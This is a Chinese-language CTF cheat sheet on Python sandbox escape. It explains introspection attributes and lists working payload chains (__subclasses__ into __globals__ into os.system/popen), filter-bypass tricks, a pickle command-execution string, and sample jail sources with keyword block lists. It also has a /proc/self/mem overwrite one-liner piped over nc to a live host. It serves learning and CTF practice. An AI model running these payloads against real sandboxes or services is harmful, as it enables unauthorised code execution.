Python 沙盒逃逸备忘
- 1. 一、python 绕过沙盒中常见的函数、属性、模块解释(备忘)
- 1.1. 1.func_globals
- 1.2. 2.__getattribute__
- 1.3. 3.__dict__
- 1.4. 4.dir()
- 1.5. 5.__base__
- 1.6. 6.__mro__
- 1.7. 7.__subclasses__()[]
- 1.8. 8.__import__
- 1.9. 9.__bulitin__
- 1.10. 10.__builtins__
- 1.11. 11.reload
- 1.12. 12.getattr
- 1.13. 13.__getattr__
- 1.14. 14.__name__
- 1.15. 15.func_code
- 1.16. 16.timeit 模块
- 1.17. 17.platform 模块
- 1.18. 18.__globals__
- 1.19. 19.__call__
- 1.20. 20.pickle
- 1.21. 21.os/subprocess/commands
- 1.22. 22.eval/exec/execfile
- 1.23. 23.importlib模块
- 2. 二、什么是python 的沙箱逃逸
- 3. 三、攻与防的战争
- 4. 四、整理一些小trick
- 5. 五、魔法方法
- 6. 六、内存破坏突破python沙盒
- 7. 七、一些简单的python 沙盒
一、python 绕过沙盒中常见的函数、属性、模块解释(备忘)
1.func_globals
返回包含函数全局变量的字典的引用————————定义函数的模块的全局命名空间。
function.func_globals
>>> def foo(): pass
...
>>> foo.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', 'foo': <function foo at 0x7f3a056c7938>, '__doc__': None, '__package__': None}
2.__getattribute__
被调用无条件地实现类的实例的属性访问。
object. getattribute(self, name)
1)self 必需的。类的实例,在调用时自动传递。
2)name 必需的。属性的名称。
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')
3.__dict__
模块对象有一个由dictionary对象实现的名称空间(这是由模块中定义的函数的func_globals属性引用的字典)。属性引用在本词典中被翻译为查找,例如,
m.x相当于m.dict [“x”]。
>>> ''.__class__.__dict__['upper']
<method 'upper' of 'str' objects>
>>> ''.__class__.upper
<method 'upper' of 'str' objects>
4.dir()
将显示对象的属性的名称,__dict__
是dir()的子集
dir ([object])
>>> dir(''.__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
5.__base__
每个类都有一个__base__
属性能列出器基类
注意:__base__
和 __bases__
的区别
他们都是返回当前类的基类,只不过__bases__
返回的是一个元祖
>>> ''.__class__.__base__
<type 'basestring'>
>>> ''.__class__.__bases__
(<type 'basestring'>,)
6.__mro__
递归地显示父类一直到 object
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
7.__subclasses__
()[]
获取子类
>>> ''.__class__.__mro__[2].__subclasses__()[40]
<type 'file'>
8.__import__
import 一个模块
__import__
(name)
>>> __import__('os')
<module 'os' from '/usr/lib/python2.7/os.pyc'>
9.__bulitin__
Python的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
在Python2.X版本中,内建模块被命名为__builtin__
,而到了Python3.X版本中,却更名为builtins。
10.__builtins__
是对内建模块的一个引用
这个和__builtin__
有一些区别
1)无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入__builtin__
内建模块;而对于__builtins__
却不用导入,它在任何模块都直接可见,可以把它当作内建模块直接使用
2)__builtins__
虽是对内建模块的引用,但这个引用要看是使用__builtins__
的模块是哪个模块
① 在主模块__main__中:
__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此
② 在__main__模块中:
__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身。它在任何地方都可见。此时__builtins__的类型是字典。
11.reload
重新加载之前导入的模块
reload (module)
>>> import sys
>>> reload(sys)
<module 'sys' (built-in)>
12.getattr
返回对象的命名属性的值。
getattr (object, name)
相当于 object.name
name 必须是一个字符串
>>> class A():
... bar =1
...
>>> a = A()
>>> getattr(a,'bar')
1
13.__getattr__
当属性查找没有在通常的位置找到属性时调用(例如,它不是实例属性,也不是在类树中找到self)
14.__name__
这个值获得的只是一个字符串,不是模块的引用
要使用sys.modules[__name__
]才获得的是模块的引用
>>> sys.modules['__main__']
<module '__main__' (built-in)>
15.func_code
返回表示已编译函数体的代码对象。
function.func_code
>>> def foo():
... a=1
...
>>> foo.func_code
<code object foo at 0x7f3a0570d930, file "<stdin>", line 1>
注意:这个代码对象必须存在几个参数
co_argcount 这个参数是返回该函数的参数
>>> foo.func_code.co_argcount
0
co_code 返回函数的字节码(可用dis.dis(字节码)将其转换为汇编格式)
>>> foo.func_code.co_code
'd\x01\x00}\x00\x00d\x00\x00S'
16.timeit 模块
这个模块是用来测试代码的执行时间的,能执行代码自然能执行命令
使用前需要导入timeit
使用:
timeit(命令,number=1)
>>> import timeit
>>> timeit.timeit("__import__('os').system('dir')",number=1)
其中命令是字符串的形式
17.platform 模块
由名字可以知道这个模块和平台有关,里面的函数主要是为了返回和平台的一些信息,但是我们还是可以调用
popen 这个函数执行命令
print platform.popen('命令',mode='r',bufsize= -1).read()
18.__globals__
function.__globals__
等同于globals(),dir() 的结果是上面两个的键值
在fuzz 中常常和 __init__
配合使用,__init__
一般跟在类的后面,相当于实例化这个类
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
19.__call__
使实例能够像函数一样被调用
x.call 等同于 x()
>>> func.__call__
<method-wrapper '__call__' of function object at 0x7f3a056c7e60>
20.pickle
这个是python 的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化
基本的语法:
序列化:
import pickle
test=('this is a test',3.14,[1,2,3,"hh"])
p=pickle.dumps(test)
反序列化:
n=pickle.loads(p)
我们可以通过 pickle 的方式加载命令
pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")
21.os/subprocess/commands
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)
这里重点说一下subprocess 吧
1.subprocess.run()
Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。
2.subprocess.call()
执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。
3.subprocess.check_call()
Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。
4.subprocess.check_output()
Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。
5.subprocess.getoutput(cmd)
接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。
6.subprocess.getstatusoutput(cmd)
执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。
22.eval/exec/execfile
1.eval(expression):
返回python 表达式执行的结果
2.exec(source)
动态执行python代码。也就是说exec可以执行复杂的python代码,而不像eval函数那样只能计算一个表达式的值。exec函数的返回值永远为None。
3.execfile(filename)
执行一个文件的内容
文件是将被解析为python序列的类似于模块的文件
23.importlib模块
import importlib
importlib.import_module(module)
他可以代替import 非常好
二、什么是python 的沙箱逃逸
所谓的沙箱逃逸就是从一个被阉割和做了严格限制的python执行环境中获取到更高的权限,甚至getshell,这是我们的最终的目的,但是实现这个目标之前我们必须解决的就是如何绕过重重的waf去使用python执行命令
python 能执行命令或者存在执行命令功能的函数是一定的,但是他的存在形式是多样的,他过滤了这种形式我们就换一种形式表示,正所谓曲线救国
三、攻与防的战争
简单的梳理一下思路:
1.我们想直接引入执行命令的模块os等
遭遇过滤:
re.compile('import\s+(os|commands|subprocess|sys)')
2.我们不直接使用import 用__import__()
取而代之
遭遇过滤:__import__(module)
3.我们不直接用__import__(module)
转换编码__import__("pbzznaqf".decode('rot_13'))
遭遇过滤__import__
4.不用__import__
行不行?当然可以,我们有内建函数直接调用__bulitin__
/__bulitins__
常见的一些危险的函数都是__builtin__
里面的,我们可以直接用 eval() exec() execfile()
遭遇过滤:把__builtin__
中的危险函数都del掉,看你怎么绕
5.reload() 函数重新加载完整的没有阉割的__builtin__
reload(__builtin__
)
遭遇过滤:reload()也是一个内建函数,如果我们在__builtin__
中把reload()也del掉呢?
6.imp模块也是一个可以引入东西的一个模块
import imp
imp.reload(__builtin__
)
再次成功引入
遭遇过滤:看来还是没有从源头del干净,我们知道python 的模块其实都存放在sys.modules中,不要啥就删啥。
sys.modules['os']=None
这样就OK了
7.这回问题有点棘手,要知道如何应对还要仔细分析一下import的步骤
import 的步骤:
1)如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A
2)如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中
那我们可以向更源头追溯
我们都知道任何的模块归根道理都是文件,只要文件还在,我们就一定有办法!
比如类unix 的系统中,os 模块的路径一般都是/usr/lib/python2.7/os.py,那我们就直接写这个
import sys
sys.modules['os'] = '/usr/lib/python2.7/os.py'
import os
遭遇过滤:我把你sys也一并del,让你用!哼
8.和上面一样的思路,文件还在我们就直接用文件,import 的本质就是把对应的模块文件执行一遍
execfile('/usr/lib/python2.7/os.py')
system('cat /etc/passwd')
遭遇过滤:execfile() 别用了
9.那我用文件读取函数读入文件,然后再exec() 也能实现一样的效果
遭遇过滤:不耐烦了,我也不过滤了,直接删文件
10.这样的话,我就想起了,没有编译器手写编译器的梗,这里完全可以用嘛。。。。
但是这样鲁莽地删除关键函数文件是很危险的,很容易出现莫名的依赖问题,不推荐使用
好家伙。。。。这一串攻防对决真的是非常的精彩了,淋漓尽致地展现了攻与防的较量
四、整理一些小trick
1.完整过滤整个匹配语句我们只要使用变量替换的方式绕过
a = open
print(a("/etc/passwd").read())
2.函数名后面加点空格换一行都能执行
print open
("/etc/passwd").read()
3.使用第三方库的执行命令的函数
如果程序中调用了第三方的库,恰好这个库有执行命令的函数,那么肯定是再好不过了
from numpy.distutils.exec_command import _exec_command as system
system("ls /")
4.使用别名
import os as o
5.字符串拼接
"l"+"s"
"func_global"+"s"
6.字符串编码或者其他操作
如果过滤的是键值对中的key(为了强调是字符串类型)
方法一:使用编码的转换
'X19pbXBvcnRfXw=='.decode('base64')
方法二:使用python的字符串操作
s = "emit"
s = s [::-1]
print a[s]
五、魔法方法
这节是基于之前我开始讲的那些基本的概念和语法的,如果不了解还是请往第一节看,这个很重要,因为这个大概就是曲线救国的精髓了
1.魔法方法简介
传说,Python 天生体内就拥有着王的印记,它们总是被双下划线包围,他们是面向对象的python的灵魂, 国难当头他们就被激发出来,曲线救国……
所谓曲线救国的“曲线”,就是对方封锁了从山下上半山腰营地的道路,那我们可以偷偷从山背后上山到山顶,然后从山顶下到半山腰的营地偷袭。
2.一切皆对象的py
我们看看python是怎么一切皆对象的
>>> type([])
<type 'list'>
>>> type(1)
<type 'int'>
>>> type(1.1)
<type 'float'>
>>> type('')
<type 'str'>
>>> type(())
<type 'tuple'>
>>> type({})
<type 'dict'>
这些类型都是对象,我现在就以 ''
为例
1)我们可以从一个对象实例向上追溯到他的类''.__class__
>>> type(''.__class__)
<type 'type'>
2)我们从他的类向上追溯到他的基类,直至object根类
①多次使用__base__
或者 __bases__
>>> ''.__class__.__base__
<type 'basestring'>
>>> ''.__class__.__base__.__base__
<type 'object'>
>>> ''.__class__.__bases__[0]
<type 'basestring'>
>>> ''.__class__.__bases__[0].__bases__[0]
<type 'object'>
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> ''.__class__.__bases__.__class__
<type 'tuple'>
>>> ''.__class__.__bases__.__class__.__bases__[0]
<type 'object'>
②直接使用__mro__
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[2]
<type 'object'>
3)我们从根类object向下回溯,使用 __subclasses__
>>> ''.__class__.__mro__[2]
<type 'object'>
>>> ''.__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x8f8740>
>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
哇,这也太多了吧,我怎么知道我该选哪个??
别怕,我python本就是用来写脚本的,写一个循环遍历一下岂不是简简单单??
我这里就直接把bendawang 师傅文章中的代码拿过来
#!/usr/bin/env python
# encoding: utf-8
cnt=0
for item in [].__class__.__base__.__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print cnt,item
cnt+=1
except:
print "error",cnt,item
cnt+=1
continue
这段代码的目的就是找到调用 os 模块的入口,当然我们只要把os 替换成sys 等其他模块也能得到对应的结果。
#!/usr/bin/env python
# encoding: utf-8
cnt=0
for item in "".__class__.__mro__[-1].__subclasses__():
try:
cnt2=0
for i in item.__init__.__globals__:
if 'eval' in item.__init__.__globals__[i]:
print cnt,item,cnt2,i
cnt2+=1
cnt+=1
except:
print "error",cnt,item
cnt+=1
continue
这第二个脚本相当于就是跑了两层
这两个脚本的思路非常的好,赶紧搬过来收藏一下,以后作为参考hhh
4)简单的整理一下前辈们已经fuzz出来的一些结果:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('_ _import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('_ _import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['sys'].modules['os'].popen('ls').read()
六、内存破坏突破python沙盒
这个方法来源于 Plaid CTF 2014年的一道题__nightmares__
这道题的出题思路并不是web的单纯的绕过,而是涉及到了内存的破坏与利用
附上题目代码:
#!/usr/bin/python -u
'''
You may wish to refer to solutions to the pCTF 2013 "pyjail" problem if
you choose to attempt this problem, BUT IT WON'T HELP HAHAHA.
'''
from imp import acquire_lock
from threading import Thread
from sys import modules, stdin, stdout
# No more importing!
x = Thread(target = acquire_lock, args = ())
x.start()
x.join()
del x
del acquire_lock
del Thread
# No more modules!
for k, v in modules.iteritems():
if v == None: continue
if k == '__main__': continue
v.__dict__.clear()
del k, v
__main__ = modules['__main__']
modules.clear()
del modules
# No more anything!
del __builtins__, __doc__, __file__, __name__, __package__
print >> stdout, "Get a shell. The flag is NOT in ./key, ./flag, etc."
while 1:
exec 'print >> stdout, ' + stdin.readline() in {'stdout':stdout}
WP address :https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/
七、一些简单的python 沙盒
下面列出一些python 的沙盒代码,给学习的人一些参考
题目一、
____
| _ \ _ _ _ __
| |_) | | | | '_ \
| _ <| |_| | | | |
|_| \_\__,_|_| |_|
Escape from the dark house built with python :)
Try to getshell then find the flag!
>>>#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-04-09 23:30:58
# @Author : Xu (you@example.org)
# @Link : https://xuccc.github.io/
# @Version : $Id$
from sys import modules
from cpython import get_dict
from types import FunctionType
main = modules['__main__'].__dict__
origin_builtins = main['__builtins__'].__dict__
def delete_type():
type_dict = get_dict(type)
del type_dict['__bases__']
del type_dict['__subclasses__']
def delete_func_code():
func_dict = get_dict(FunctionType)
del func_dict['func_code']
def safe_import(__import__,whiteList):
def importer(name,globals={},locals={},fromlist=[],level=-1):
if name in whiteList:
return __import__(name,globals,locals,fromlist,level)
else:
print "HAHA,[%s] has been banned~" % name
return importer
class ReadOnly(dict):
"""docstring for ReadOnlu"""
def __delitem__(self,keys):
raise ValueError(":(")
def pop(self,key,default=None):
raise ValueError(":(")
def popitem(self):
raise ValueError(":(")
def setdefault(self,key,value):
raise ValueError(":(")
def __setitem__(self,key,value):
raise ValueError(":(")
def __setattr__(self, name, value):
raise ValueError(":(")
def update(self,dict,**kwargs):
raise ValueError(":(")
def builtins_clear():
whiteList = "raw_input SyntaxError ValueError NameError Exception __import__".split(" ")
for mod in __builtins__.__dict__.keys():
if mod not in whiteList:
del __builtins__.__dict__[mod]
def input_filter(string):
ban = "exec eval pickle os subprocess input sys ls cat".split(" ")
for i in ban:
if i in string.lower():
print "{} has been banned!".format(i)
return ""
return string
# delete_type();
del delete_type
delete_func_code();del delete_func_code
builtins_clear();del builtins_clear
whiteMod = []
origin_builtins['__import__'] = safe_import(__import__,whiteMod)
safe_builtins = ReadOnly(origin_builtins);del ReadOnly
main['__builtins__'] = safe_builtins;del safe_builtins
del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType
del __builtins__, __doc__, __file__, __name__, __package__
print """
____
| _ \ _ _ _ __
| |_) | | | | '_ \
| _ <| |_| | | | |
|_| \_\\__,_|_| |_|
Escape from the dark house built with python :)
Try to getshell then find the flag!
"""
while 1:
inp = raw_input('>>>')
cmd = input_filter(inp)
try:
exec cmd
except NameError, e:
print "wow something lose!We can\'t find it ! D:"
except SyntaxError,e:
print "Noob! Synax Wrong! :("
except Exception,e:
print "unknow error,try again :>"
>>>Traceback (most recent call last):
File "/home/ctf/sandbox.py", line 92, in <module>
inp = raw_input('>>>')
EOFError: EOF when reading a line
补充:这道题就是最近的异常比赛的题目源码,我做题 下载了下来,出题者本来的意图应该就是让我们使用内存攻击的pwn 的手法,但是还是被我们web选手饶了过去
下面给出pwn的一种解法:
# look up the addresses
objdump -R python.out | grep -E 'fopen|system'
# copy 8 bytes from the system address to the fopen64 address, and get flag
echo "(lambda r, w: r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('grep ciscn -r /home/ctf/')) (().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'), ().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','w',0))" | nc 117.78.43.163 31836
接下来是web解(来源于梅子酒师傅)
s = "func_global"+"s"
d = "sy"+"s"
b = "o"+"s"
c = "l"+"s"
print(''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__(s)['linecache'].__dict__[d].modules[b].popen(c).read())
题目二
#!/usr/bin/env python
from future import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = builtins.dict.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del builtins.dict[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
题目三
#!/usr/bin/env python
from re import findall
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
# Read user input until the first whitespace character
inp = findall('\S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e
http://www.0aa.me/index.php/archives/123/
https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/